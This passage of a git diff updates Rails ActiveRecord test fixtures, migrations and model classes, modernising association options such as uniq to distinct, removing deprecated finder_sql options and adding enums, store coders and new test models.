+ content: "--- Have a nice day\n...\n"
approved: true
replies_count: 0
parent_id: 1
@@ -26,7 +26,7 @@ third:
title: The Third Topic of the day
author_name: Carl
written_on: 2012-08-12t20:24:22.129346+00:00
- content: I'm a troll
+ content: "--- I'm a troll\n...\n"
approved: true
replies_count: 1
@@ -35,8 +35,15 @@ fourth:
title: The Fourth Topic of the day
author_name: Carl
written_on: 2006-07-15t15:28:00.0099+01:00
- content: Why not?
+ content: "--- Why not?\n...\n"
approved: true
type: Reply
parent_id: 3
+fifth:
+ id: 5
+ title: The Fifth Topic of the day
+ author_name: Jason
+ written_on: 2013-07-13t12:11:00.0099+01:00
+ content: "--- Omakase\n...\n"
+ approved: true
diff --git a/activerecord/test/fixtures/toys.yml b/activerecord/test/fixtures/toys.yml
index 037e335e0a..ae9044ec62 100644
--- a/activerecord/test/fixtures/toys.yml
+++ b/activerecord/test/fixtures/toys.yml
@@ -2,3 +2,13 @@ bone:
toy_id: 1
name: Bone
pet_id: 1
+
+doll:
+ toy_id: 2
+ name: Doll
+ pet_id: 2
+
+bulbuli:
+ toy_id: 3
+ name: Bulbuli
+ pet_id: 4
diff --git a/activerecord/test/fixtures/traffic_lights.yml b/activerecord/test/fixtures/traffic_lights.yml
index 6dabd53474..81b4e47959 100644
--- a/activerecord/test/fixtures/traffic_lights.yml
+++ b/activerecord/test/fixtures/traffic_lights.yml
@@ -4,3 +4,7 @@ uk:
- Green
- Red
- Orange
+ long_state:
+ - "Green, go ahead"
+ - "Red, wait"
+ - "Orange, caution light is about to switch" \ No newline at end of file
diff --git a/activerecord/test/fixtures/uuid_children.yml b/activerecord/test/fixtures/uuid_children.yml
new file mode 100644
index 0000000000..a7b15016e2
--- /dev/null
+++ b/activerecord/test/fixtures/uuid_children.yml
@@ -0,0 +1,3 @@
+sonny:
+ uuid_parent: daddy
+ name: Sonny
diff --git a/activerecord/test/fixtures/uuid_parents.yml b/activerecord/test/fixtures/uuid_parents.yml
new file mode 100644
index 0000000000..0b40225c5c
--- /dev/null
+++ b/activerecord/test/fixtures/uuid_parents.yml
@@ -0,0 +1,2 @@
+daddy:
+ name: Daddy
diff --git a/activerecord/test/migrations/10_urban/9_add_expressions.rb b/activerecord/test/migrations/10_urban/9_add_expressions.rb
new file mode 100644
index 0000000000..79a342e574
--- /dev/null
+++ b/activerecord/test/migrations/10_urban/9_add_expressions.rb
@@ -0,0 +1,11 @@
+class AddExpressions < ActiveRecord::Migration
+ def self.up
+ create_table("expressions") do |t|
+ t.column :expression, :string
+ end
+ end
+
+ def self.down
+ drop_table "expressions"
+ end
+end
diff --git a/activerecord/test/migrations/magic/1_currencies_have_symbols.rb b/activerecord/test/migrations/magic/1_currencies_have_symbols.rb
new file mode 100644
index 0000000000..c066c068c2
--- /dev/null
+++ b/activerecord/test/migrations/magic/1_currencies_have_symbols.rb
@@ -0,0 +1,12 @@
+# coding: ISO-8859-15
+
+class CurrenciesHaveSymbols < ActiveRecord::Migration
+ def self.up
+ # We use ¤ for default currency symbol
+ add_column "currencies", "symbol", :string, :default => "¤"
+ end
+
+ def self.down
+ remove_column "currencies", "symbol"
+ end
+end
diff --git a/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
new file mode 100644
index 0000000000..9d46485a31
--- /dev/null
+++ b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
@@ -0,0 +1,8 @@
+class MigrationVersionCheck < ActiveRecord::Migration
+ def self.up
+ raise "incorrect migration version" unless version == 20131219224947
+ end
+
+ def self.down
+ end
+end
diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
index 467f3ccd39..48a110bd23 100644
--- a/activerecord/test/models/admin/user.rb
+++ b/activerecord/test/models/admin/user.rb
@@ -1,10 +1,25 @@
class Admin::User < ActiveRecord::Base
+ class Coder
+ def initialize(default = {})
+ @default = default
+ end
+
+ def dump(o)
+ ActiveSupport::JSON.encode(o || @default)
+ end
+
+ def load(s)
+ s.present? ? ActiveSupport::JSON.decode(s) : @default.clone
+ end
+ end
+
belongs_to :account
+ store :params, accessors: [ :token ], coder: YAML
store :settings, :accessors => [ :color, :homepage ]
store_accessor :settings, :favorite_food
store :preferences, :accessors => [ :remember_login ]
- store :json_data, :accessors => [ :height, :weight ], :coder => JSON
- store :json_data_empty, :accessors => [ :is_a_good_guy ], :coder => JSON
+ store :json_data, :accessors => [ :height, :weight ], :coder => Coder.new
+ store :json_data_empty, :accessors => [ :is_a_good_guy ], :coder => Coder.new
def phone_number
read_store_attribute(:settings, :phone_number).gsub(/(\d{3})(\d{3})(\d{4})/,'(\1) \2-\3')
@@ -13,4 +28,13 @@ class Admin::User < ActiveRecord::Base
def phone_number=(value)
write_store_attribute(:settings, :phone_number, value && value.gsub(/[^\d]/,''))
end
+
+ def color
+ super || 'red'
+ end
+
+ def color=(value)
+ value = 'blue' unless %w(black red green blue).include?(value)
+ super
+ end
end
diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb
index 6935cfb0ea..8c1f14bd36 100644
--- a/activerecord/test/models/author.rb
+++ b/activerecord/test/models/author.rb
@@ -1,5 +1,6 @@
class Author < ActiveRecord::Base
has_many :posts
+ has_many :serialized_posts
has_one :post
has_many :very_special_comments, :through => :posts
has_many :posts_with_comments, -> { includes(:comments) }, :class_name => "Post"
@@ -8,21 +9,14 @@ class Author < ActiveRecord::Base
has_many :posts_sorted_by_id_limited, -> { order('posts.id').limit(1) }, :class_name => "Post"
has_many :posts_with_categories, -> { includes(:categories) }, :class_name => "Post"
has_many :posts_with_comments_and_categories, -> { includes(:comments, :categories).order("posts.id") }, :class_name => "Post"
- has_many :posts_containing_the_letter_a, :class_name => "Post"
- has_many :posts_with_extension, :class_name => "Post" do #, :extend => ProxyTestExtension
- def testing_proxy_owner
- proxy_owner
- end
- def testing_proxy_reflection
- proxy_reflection
- end
- def testing_proxy_target
- proxy_target
- end
- end
+ has_many :posts_with_special_categorizations, :class_name => 'PostWithSpecialCategorization'
has_one :post_about_thinking, -> { where("posts.title like '%thinking%'") }, :class_name => 'Post'
has_one :post_about_thinking_with_last_comment, -> { where("posts.title like '%thinking%'").includes(:last_comment) }, :class_name => 'Post'
- has_many :comments, :through => :posts
+ has_many :comments, through: :posts do
+ def ratings
+ Rating.joins(:comment).merge(self)
+ end
+ end
has_many :comments_containing_the_letter_e, :through => :posts, :source => :comments
has_many :comments_with_order_and_conditions, -> { order('comments.body').where("comments.body like 'Thank%'") }, :through => :posts, :source => :comments
has_many :comments_with_include, -> { includes(:post) }, :through => :posts, :source => :comments
@@ -36,22 +30,29 @@ class Author < ActiveRecord::Base
has_many :thinking_posts, -> { where(:title => 'So I was thinking') }, :dependent => :delete_all, :class_name => 'Post'
has_many :welcome_posts, -> { where(:title => 'Welcome to the weblog') }, :class_name => 'Post'
+ has_many :welcome_posts_with_one_comment,
+ -> { where(title: 'Welcome to the weblog').where('comments_count = ?', 1) },
+ class_name: 'Post'
+ has_many :welcome_posts_with_comments,
+ -> { where(title: 'Welcome to the weblog').where(Post.arel_table[:comments_count].gt(0)) },
+ class_name: 'Post'
+
has_many :comments_desc, -> { order('comments.id DESC') }, :through => :posts, :source => :comments
- has_many :limited_comments, -> { limit(1) }, :through => :posts, :source => :comments
has_many :funky_comments, :through => :posts, :source => :comments
- has_many :ordered_uniq_comments, -> { uniq.order('comments.id') }, :through => :posts, :source => :comments
- has_many :ordered_uniq_comments_desc, -> { uniq.order('comments.id DESC') }, :through => :posts, :source => :comments
+ has_many :ordered_uniq_comments, -> { distinct.order('comments.id') }, :through => :posts, :source => :comments
+ has_many :ordered_uniq_comments_desc, -> { distinct.order('comments.id DESC') }, :through => :posts, :source => :comments
has_many :readonly_comments, -> { readonly }, :through => :posts, :source => :comments
has_many :special_posts
has_many :special_post_comments, :through => :special_posts, :source => :comments
+ has_many :special_posts_with_default_scope, :class_name => 'SpecialPostWithDefaultScope'
has_many :sti_posts, :class_name => 'StiPost'
has_many :sti_post_comments, :through => :sti_posts, :source => :comments
- has_many :special_nonexistant_posts, -> { where("posts.body = 'nonexistant'") }, :class_name => "SpecialPost"
- has_many :special_nonexistant_post_comments, -> { where('comments.post_id' => 0) }, :through => :special_nonexistant_posts, :source => :comments
- has_many :nonexistant_comments, :through => :posts
+ has_many :special_nonexistent_posts, -> { where("posts.body = 'nonexistent'") }, :class_name => "SpecialPost"
+ has_many :special_nonexistent_post_comments, -> { where('comments.post_id' => 0) }, :through => :special_nonexistent_posts, :source => :comments
+ has_many :nonexistent_comments, :through => :posts
has_many :hello_posts, -> { where "posts.body = 'hello'" }, :class_name => "Post"
has_many :hello_post_comments, :through => :hello_posts, :source => :comments
@@ -87,20 +88,20 @@ class Author < ActiveRecord::Base
has_many :categories_like_general, -> { where(:name => 'General') }, :through => :categorizations, :source => :category, :class_name => 'Category'
has_many :categorized_posts, :through => :categorizations, :source => :post
- has_many :unique_categorized_posts, -> { uniq }, :through => :categorizations, :source => :post
+ has_many :unique_categorized_posts, -> { distinct }, :through => :categorizations, :source => :post
has_many :nothings, :through => :kateggorisatons, :class_name => 'Category'
has_many :author_favorites
has_many :favorite_authors, -> { order('name') }, :through => :author_favorites
- has_many :taggings, :through => :posts
+ has_many :taggings, :through => :posts, :source => :taggings
has_many :taggings_2, :through => :posts, :source => :tagging
has_many :tags, :through => :posts
has_many :post_categories, :through => :posts, :source => :categories
has_many :tagging_tags, :through => :taggings, :source => :tag
- has_many :similar_posts, -> { uniq }, :through => :tags, :source => :tagged_posts
+ has_many :similar_posts, -> { distinct }, :through => :tags, :source => :tagged_posts
has_many :distinct_tags, -> { select("DISTINCT tags.*").order("tags.name") }, :through => :posts, :source => :tags
has_many :tags_with_primary_key, :through => :posts
@@ -141,6 +142,8 @@ class Author < ActiveRecord::Base
has_many :posts_with_default_include, :class_name => 'PostWithDefaultInclude'
has_many :comments_on_posts_with_default_include, :through => :posts_with_default_include, :source => :comments
+ has_many :posts_with_signature, ->(record) { where("posts.title LIKE ?", "%by #{record.name.downcase}%") }, class_name: "Post"
+
scope :relation_include_posts, -> { includes(:posts) }
scope :relation_include_tags, -> { includes(:tags) }
diff --git a/activerecord/test/models/auto_id.rb b/activerecord/test/models/auto_id.rb
index d720e2be5e..82c6544bd5 100644
--- a/activerecord/test/models/auto_id.rb
+++ b/activerecord/test/models/auto_id.rb
@@ -1,4 +1,4 @@
class AutoId < ActiveRecord::Base
- def self.table_name () "auto_id_tests" end
- def self.primary_key () "auto_id" end
+ self.table_name = "auto_id_tests"
+ self.primary_key = "auto_id"
end
diff --git a/activerecord/test/models/autoloadable/extra_firm.rb b/activerecord/test/models/autoloadable/extra_firm.rb
new file mode 100644
index 0000000000..5578ba0d9b
--- /dev/null
+++ b/activerecord/test/models/autoloadable/extra_firm.rb
@@ -0,0 +1,2 @@
+class ExtraFirm < Company
+end
diff --git a/activerecord/test/models/book.rb b/activerecord/test/models/book.rb
index ce81a37966..2170018068 100644
--- a/activerecord/test/models/book.rb
+++ b/activerecord/test/models/book.rb
@@ -2,8 +2,17 @@ class Book < ActiveRecord::Base
has_many :authors
has_many :citations, :foreign_key => 'book1_id'
- has_many :references, -> { uniq }, :through => :citations, :source => :reference_of
+ has_many :references, -> { distinct }, through: :citations, source: :reference_of
has_many :subscriptions
- has_many :subscribers, :through => :subscriptions
+ has_many :subscribers, through: :subscriptions
+
+ enum status: [:proposed, :written, :published]
+ enum read_status: {unread: 0, reading: 2, read: 3}
+ enum nullable_status: [:single, :married]
+
+ def published!
+ super
+ "do publish work..."
+ end
end
diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb
index 0109ef4f83..831a0d5387 100644
--- a/activerecord/test/models/bulb.rb
+++ b/activerecord/test/models/bulb.rb
@@ -37,3 +37,15 @@ class CustomBulb < Bulb
self.frickinawesome = true if name == 'Dude'
end
end
+
+class FunkyBulb < Bulb
+ before_destroy do
+ raise "before_destroy was called"
+ end
+end
+
+class FailedBulb < Bulb
+ before_destroy do
+ false
+ end
+end
diff --git a/activerecord/test/models/cake_designer.rb b/activerecord/test/models/cake_designer.rb
new file mode 100644
index 0000000000..9c57ef573a
--- /dev/null
+++ b/activerecord/test/models/cake_designer.rb
@@ -0,0 +1,3 @@
+class CakeDesigner < ActiveRecord::Base
+ has_one :chef, as: :employable
+end
diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb
index ac42f444e1..db0f93f63b 100644
--- a/activerecord/test/models/car.rb
+++ b/activerecord/test/models/car.rb
@@ -1,11 +1,11 @@
class Car < ActiveRecord::Base
-
has_many :bulbs
+ has_many :all_bulbs, -> { unscope where: :name }, class_name: "Bulb"
+ has_many :funky_bulbs, class_name: 'FunkyBulb', dependent: :destroy
+ has_many :failed_bulbs, class_name: 'FailedBulb', dependent: :destroy
has_many :foo_bulbs, -> { where(:name => 'foo') }, :class_name => "Bulb"
- has_many :frickinawesome_bulbs, -> { where :frickinawesome => true }, :class_name => "Bulb"
has_one :bulb
- has_one :frickinawesome_bulb, -> { where :frickinawesome => true }, :class_name => "Bulb"
has_many :tyres
has_many :engines, :dependent => :destroy
@@ -15,7 +15,6 @@ class Car < ActiveRecord::Base
scope :incl_engines, -> { includes(:engines) }
scope :order_using_new_style, -> { order('name asc') }
-
end
class CoolCar < Car
diff --git a/activerecord/test/models/category.rb b/activerecord/test/models/category.rb
index f8c8ebb70c..272223e1d8 100644
--- a/activerecord/test/models/category.rb
+++ b/activerecord/test/models/category.rb
@@ -22,6 +22,7 @@ class Category < ActiveRecord::Base
end
has_many :categorizations
+ has_many :special_categorizations
has_many :post_comments, :through => :posts, :source => :comments
has_many :authors, :through => :categorizations
@@ -31,9 +32,4 @@ class Category < ActiveRecord::Base
end
class SpecialCategory < Category
-
- def self.what_are_you
- 'a special category...'
- end
-
end
diff --git a/activerecord/test/models/chef.rb b/activerecord/test/models/chef.rb
new file mode 100644
index 0000000000..67a4e54f06
--- /dev/null
+++ b/activerecord/test/models/chef.rb
@@ -0,0 +1,3 @@
+class Chef < ActiveRecord::Base
+ belongs_to :employable, polymorphic: true
+end
diff --git a/activerecord/test/models/citation.rb b/activerecord/test/models/citation.rb
index 545aa8110d..3d87eb795c 100644
--- a/activerecord/test/models/citation.rb
+++ b/activerecord/test/models/citation.rb
@@ -1,6 +1,3 @@
class Citation < ActiveRecord::Base
belongs_to :reference_of, :class_name => "Book", :foreign_key => :book2_id
-
- belongs_to :book1, :class_name => "Book", :foreign_key => :book1_id
- belongs_to :book2, :class_name => "Book", :foreign_key => :book2_id
end
diff --git a/activerecord/test/models/club.rb b/activerecord/test/models/club.rb
index 24a65b0f2f..6ceafe5858 100644
--- a/activerecord/test/models/club.rb
+++ b/activerecord/test/models/club.rb
@@ -1,15 +1,23 @@
class Club < ActiveRecord::Base
has_one :membership
- has_many :memberships
+ has_many :memberships, :inverse_of => false
has_many :members, :through => :memberships
- has_many :current_memberships
has_one :sponsor
has_one :sponsored_member, :through => :sponsor, :source => :sponsorable, :source_type => "Member"
belongs_to :category
+ has_many :favourites, -> { where(memberships: { favourite: true }) }, through: :memberships, source: :member
+
private
def private_method
"I'm sorry sir, this is a *private* club, not a *pirate* club"
end
end
+
+class SuperClub < ActiveRecord::Base
+ self.table_name = "clubs"
+
+ has_many :memberships, class_name: 'SuperMembership', foreign_key: 'club_id'
+ has_many :members, through: :memberships
+end
diff --git a/activerecord/test/models/college.rb b/activerecord/test/models/college.rb
index c7495d7deb..501af4a8dd 100644
--- a/activerecord/test/models/college.rb
+++ b/activerecord/test/models/college.rb
@@ -1,5 +1,10 @@
require_dependency 'models/arunit2_model'
+require 'active_support/core_ext/object/with_options'
class College < ARUnit2Model
has_many :courses
+
+ with_options dependent: :destroy do |assoc|
+ assoc.has_many :students, -> { where(active: true) }
+ end
end
diff --git a/activerecord/test/models/column.rb b/activerecord/test/models/column.rb
new file mode 100644
index 0000000000..499358b4cf
--- /dev/null
+++ b/activerecord/test/models/column.rb
@@ -0,0 +1,3 @@
+class Column < ActiveRecord::Base
+ belongs_to :record
+end
diff --git a/activerecord/test/models/column_name.rb b/activerecord/test/models/column_name.rb
index ec07205a3a..460eb4fe20 100644
--- a/activerecord/test/models/column_name.rb
+++ b/activerecord/test/models/column_name.rb
@@ -1,3 +1,3 @@
class ColumnName < ActiveRecord::Base
- def self.table_name () "colnametests" end
-end \ No newline at end of file
+ self.table_name = "colnametests"
+end
diff --git a/activerecord/test/models/comment.rb b/activerecord/test/models/comment.rb
index 4b2015fe01..b38b17e90e 100644
--- a/activerecord/test/models/comment.rb
+++ b/activerecord/test/models/comment.rb
@@ -7,6 +7,10 @@ class Comment < ActiveRecord::Base
scope :created, -> { all }
belongs_to :post, :counter_cache => true
+ belongs_to :author, polymorphic: true
+ belongs_to :resource, polymorphic: true
+ belongs_to :developer
+
has_many :ratings
belongs_to :first_post, :foreign_key => :post_id
@@ -26,19 +30,30 @@ class Comment < ActiveRecord::Base
all
end
scope :all_as_scope, -> { all }
+
+ def to_s
+ body
+ end
end
class SpecialComment < Comment
- def self.what_are_you
- 'a special comment...'
- end
end
class SubSpecialComment < SpecialComment
end
class VerySpecialComment < Comment
- def self.what_are_you
- 'a very special comment...'
+end
+
+class CommentThatAutomaticallyAltersPostBody < Comment
+ belongs_to :post, class_name: "PostThatLoadsCommentsInAnAfterSaveHook", foreign_key: :post_id
+
+ after_save do |comment|
+ comment.post.update_attributes(body: "Automatically altered")
end
end
+
+class CommentWithDefaultScopeReferencesAssociation < Comment
+ default_scope ->{ includes(:developer).order('developers.name').references(:developer) }
+ belongs_to :developer
+end
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
index 3ca8f69646..42f7fb4680 100644
--- a/activerecord/test/models/company.rb
+++ b/activerecord/test/models/company.rb
@@ -10,6 +10,12 @@ class Company < AbstractCompany
has_one :dummy_account, :foreign_key => "firm_id", :class_name => "Account"
has_many :contracts
has_many :developers, :through => :contracts
+ has_many :accounts
+
+ scope :of_first_firm, lambda {
+ joins(:account => :firm).
+ where('firms.id' => 1)
+ }
def arbitrary_method
"I am Jack's profound disappointment"
@@ -35,17 +41,13 @@ module Namespaced
end
class Firm < Company
- ActiveSupport::Deprecation.silence do
- has_many :clients, -> { order "id" }, :dependent => :destroy, :counter_sql =>
- "SELECT COUNT(*) FROM companies WHERE firm_id = 1 " +
- "AND (#{QUOTED_TYPE} = 'Client' OR #{QUOTED_TYPE} = 'SpecialClient' OR #{QUOTED_TYPE} = 'VerySpecialClient' )",
- :before_remove => :log_before_remove,
- :after_remove => :log_after_remove
- end
+ to_param :name
+
+ has_many :clients, -> { order "id" }, :dependent => :destroy, :before_remove => :log_before_remove, :after_remove => :log_after_remove
has_many :unsorted_clients, :class_name => "Client"
has_many :unsorted_clients_with_symbol, :class_name => :Client
has_many :clients_sorted_desc, -> { order "id DESC" }, :class_name => "Client"
- has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client"
+ has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client", :inverse_of => :firm
has_many :clients_ordered_by_name, -> { order "name" }, :class_name => "Client"
has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
has_many :dependent_clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client", :dependent => :destroy
@@ -54,21 +56,7 @@ class Firm < Company
has_many :clients_with_interpolated_conditions, ->(firm) { where "rating > #{firm.rating}" }, :class_name => "Client"
has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
has_many :clients_like_ms_with_hash_conditions, -> { where(:name => 'Microsoft').order("id") }, :class_name => "Client"
- ActiveSupport::Deprecation.silence do
- has_many :clients_using_sql, :class_name => "Client", :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id}" }
- has_many :clients_using_counter_sql, :class_name => "Client",
- :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id} " },
- :counter_sql => proc { "SELECT COUNT(*) FROM companies WHERE client_of = #{id}" }
- has_many :clients_using_zero_counter_sql, :class_name => "Client",
- :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id}" },
- :counter_sql => proc { "SELECT 0 FROM companies WHERE client_of = #{id}" }
- has_many :no_clients_using_counter_sql, :class_name => "Client",
- :finder_sql => 'SELECT * FROM companies WHERE client_of = 1000',
- :counter_sql => 'SELECT COUNT(*) FROM companies WHERE client_of = 1000'
- has_many :clients_using_finder_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE 1=1'
- end
has_many :plain_clients, :class_name => 'Client'
- has_many :readonly_clients, -> { readonly }, :class_name => 'Client'
has_many :clients_using_primary_key, :class_name => 'Client',
:primary_key => 'name', :foreign_key => 'firm_name'
has_many :clients_using_primary_key_with_delete_all, :class_name => 'Client',
@@ -114,13 +102,6 @@ class DependentFirm < Company
has_one :company, :foreign_key => 'client_of', :dependent => :nullify
end
-class RestrictedFirm < Company
- ActiveSupport::Deprecation.silence do
- has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict
- has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict
- end
-end
-
class RestrictedWithExceptionFirm < Company
has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict_with_exception
has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict_with_exception
@@ -141,9 +122,13 @@ class Client < Company
belongs_to :firm_with_primary_key_symbols, :class_name => "Firm", :primary_key => :name, :foreign_key => :firm_name
belongs_to :readonly_firm, -> { readonly }, :class_name => "Firm", :foreign_key => "firm_id"
belongs_to :bob_firm, -> { where :name => "Bob" }, :class_name => "Firm", :foreign_key => "client_of"
- has_many :accounts, :through => :firm
+ has_many :accounts, :through => :firm, :source => :accounts
belongs_to :account
+ validate do
+ firm
+ end
+
class RaisedOnSave < RuntimeError; end
attr_accessor :raise_on_save
before_save do
@@ -193,7 +178,6 @@ class ExclusivelyDependentFirm < Company
has_one :account, :foreign_key => "firm_id", :dependent => :delete
has_many :dependent_sanitized_conditional_clients_of_firm, -> { order("id").where("name = 'BigShot Inc.'") }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
has_many :dependent_conditional_clients_of_firm, -> { order("id").where("name = ?", 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
- has_many :dependent_hash_conditional_clients_of_firm, -> { order("id").where(:name => 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
end
class SpecialClient < Client
@@ -206,6 +190,8 @@ class Account < ActiveRecord::Base
belongs_to :firm, :class_name => 'Company'
belongs_to :unautosaved_firm, :foreign_key => "firm_id", :class_name => "Firm", :autosave => false
+ alias_attribute :available_credit, :credit_limit
+
def self.destroyed_account_ids
@destroyed_account_ids ||= Hash.new { |h,k| h[k] = [] }
end
diff --git a/activerecord/test/models/company_in_module.rb b/activerecord/test/models/company_in_module.rb
index 461bb0de09..dae102d12b 100644
--- a/activerecord/test/models/company_in_module.rb
+++ b/activerecord/test/models/company_in_module.rb
@@ -10,10 +10,6 @@ module MyApplication
has_many :clients_sorted_desc, -> { order("id DESC") }, :class_name => "Client"
has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client"
has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
- ActiveSupport::Deprecation.silence do
- has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
- end
-
has_one :account, :class_name => 'MyApplication::Billing::Account', :dependent => :destroy
end
@@ -50,6 +46,24 @@ module MyApplication
end
end
end
+
+ module Suffixed
+ def self.table_name_suffix
+ '_suffixed'
+ end
+
+ class Company < ActiveRecord::Base
+ end
+
+ class Firm < Company
+ self.table_name = 'companies'
+ end
+
+ module Nested
+ class Company < ActiveRecord::Base
+ end
+ end
+ end
end
module Billing
diff --git a/activerecord/test/models/contact.rb b/activerecord/test/models/contact.rb
index a1cb8d62b6..3ea17c3abf 100644
--- a/activerecord/test/models/contact.rb
+++ b/activerecord/test/models/contact.rb
@@ -8,6 +8,7 @@ module ContactFakeColumns
table_name => 'id'
}
+ column :id, :integer
column :name, :string
column :age, :integer
column :avatar, :binary
diff --git a/activerecord/test/models/contract.rb b/activerecord/test/models/contract.rb
index 2cf5aa7a85..cdf7b267b5 100644
--- a/activerecord/test/models/contract.rb
+++ b/activerecord/test/models/contract.rb
@@ -1,6 +1,7 @@
class Contract < ActiveRecord::Base
belongs_to :company
belongs_to :developer
+ belongs_to :firm, :foreign_key => 'company_id'
before_save :hi
after_save :bye
diff --git a/activerecord/test/models/customer.rb b/activerecord/test/models/customer.rb
index 7e8e82542f..afe4b3d707 100644
--- a/activerecord/test/models/customer.rb
+++ b/activerecord/test/models/customer.rb
@@ -2,7 +2,7 @@ class Customer < ActiveRecord::Base
cattr_accessor :gps_conversion_was_run
composed_of :address, :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ], :allow_nil => true
- composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| balance.to_money }
+ composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new(&:to_money)
composed_of :gps_location, :allow_nil => true
composed_of :non_blank_gps_location, :class_name => "GpsLocation", :allow_nil => true, :mapping => %w(gps_location gps_location),
:converter => lambda { |gps| self.gps_conversion_was_run = true; gps.blank? ? nil : GpsLocation.new(gps)}
diff --git a/activerecord/test/models/department.rb b/activerecord/test/models/department.rb
new file mode 100644
index 0000000000..08004a0ed3
--- /dev/null
+++ b/activerecord/test/models/department.rb
@@ -0,0 +1,4 @@
+class Department < ActiveRecord::Base
+ has_many :chefs
+ belongs_to :hotel
+end
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
index 683cb54a10..d2a5a7fc49 100644
--- a/activerecord/test/models/developer.rb
+++ b/activerecord/test/models/developer.rb
@@ -1,11 +1,5 @@
require 'ostruct'
-module DeveloperProjectsAssociationExtension
- def find_most_recent
- order("id DESC").first
- end
-end
-
module DeveloperProjectsAssociationExtension2
def find_least_recent
order("id ASC").first
@@ -19,6 +13,10 @@ class Developer < ActiveRecord::Base
end
end
+ accepts_nested_attributes_for :projects
+
+ has_and_belongs_to_many :shared_computers, class_name: "Computer"
+
has_and_belongs_to_many :projects_extended_by_name,
-> { extending(DeveloperProjectsAssociationExtension) },
:class_name => "Project",
@@ -42,8 +40,16 @@ class Developer < ActiveRecord::Base
end
has_and_belongs_to_many :special_projects, :join_table => 'developers_projects', :association_foreign_key => 'project_id'
+ has_and_belongs_to_many :sym_special_projects,
+ :join_table => :developers_projects,
+ :association_foreign_key => 'project_id',
+ :class_name => 'SpecialProject'
has_many :audit_logs
+ has_many :contracts
+ has_many :firms, :through => :contracts, :source => :firm
+ has_many :comments, ->(developer) { where(body: "I'm #{developer.name}") }
+ has_many :ratings, through: :comments
scope :jamises, -> { where(:name => 'Jamis') }
@@ -74,12 +80,6 @@ class AuditLog < ActiveRecord::Base
belongs_to :unvalidated_developer, :class_name => 'Developer'
end
-DeveloperSalary = Struct.new(:amount)
-class DeveloperWithAggregate < ActiveRecord::Base
- self.table_name = 'developers'
- composed_of :salary, :class_name => 'DeveloperSalary', :mapping => [%w(salary amount)]
-end
-
class DeveloperWithBeforeDestroyRaise < ActiveRecord::Base
self.table_name = 'developers'
has_and_belongs_to_many :projects, :join_table => 'developers_projects', :foreign_key => 'developer_id'
@@ -101,6 +101,15 @@ class DeveloperWithIncludes < ActiveRecord::Base
default_scope { includes(:audit_logs) }
end
+class DeveloperFilteredOnJoins < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
+
+ def self.default_scope
+ joins(:projects).where(:projects => { :name => 'Active Controller' })
+ end
+end
+
class DeveloperOrderedBySalary < ActiveRecord::Base
self.table_name = 'developers'
default_scope { order('salary DESC') }
@@ -156,6 +165,8 @@ class DeveloperCalledJamis < ActiveRecord::Base
default_scope { where(:name => 'Jamis') }
scope :poor, -> { where('salary < 150000') }
+ scope :david, -> { where name: "David" }
+ scope :david2, -> { unscoped.where name: "David" }
end
class PoorDeveloperCalledJamis < ActiveRecord::Base
diff --git a/activerecord/test/models/dog.rb b/activerecord/test/models/dog.rb
index 72b7d33a86..b02b8447b8 100644
--- a/activerecord/test/models/dog.rb
+++ b/activerecord/test/models/dog.rb
@@ -1,4 +1,5 @@
class Dog < ActiveRecord::Base
- belongs_to :breeder, :class_name => "DogLover", :counter_cache => :bred_dogs_count
- belongs_to :trainer, :class_name => "DogLover", :counter_cache => :trained_dogs_count
+ belongs_to :breeder, class_name: "DogLover", counter_cache: :bred_dogs_count
+ belongs_to :trainer, class_name: "DogLover", counter_cache: :trained_dogs_count
+ belongs_to :doglover, foreign_key: :dog_lover_id, class_name: "DogLover", counter_cache: true
end
diff --git a/activerecord/test/models/dog_lover.rb b/activerecord/test/models/dog_lover.rb
index a33dc575c5..2c5be94aea 100644
--- a/activerecord/test/models/dog_lover.rb
+++ b/activerecord/test/models/dog_lover.rb
@@ -1,4 +1,5 @@
class DogLover < ActiveRecord::Base
- has_many :trained_dogs, :class_name => "Dog", :foreign_key => :trainer_id
- has_many :bred_dogs, :class_name => "Dog", :foreign_key => :breeder_id
+ has_many :trained_dogs, class_name: "Dog", foreign_key: :trainer_id, dependent: :destroy
+ has_many :bred_dogs, class_name: "Dog", foreign_key: :breeder_id
+ has_many :dogs
end
diff --git a/activerecord/test/models/drink_designer.rb b/activerecord/test/models/drink_designer.rb
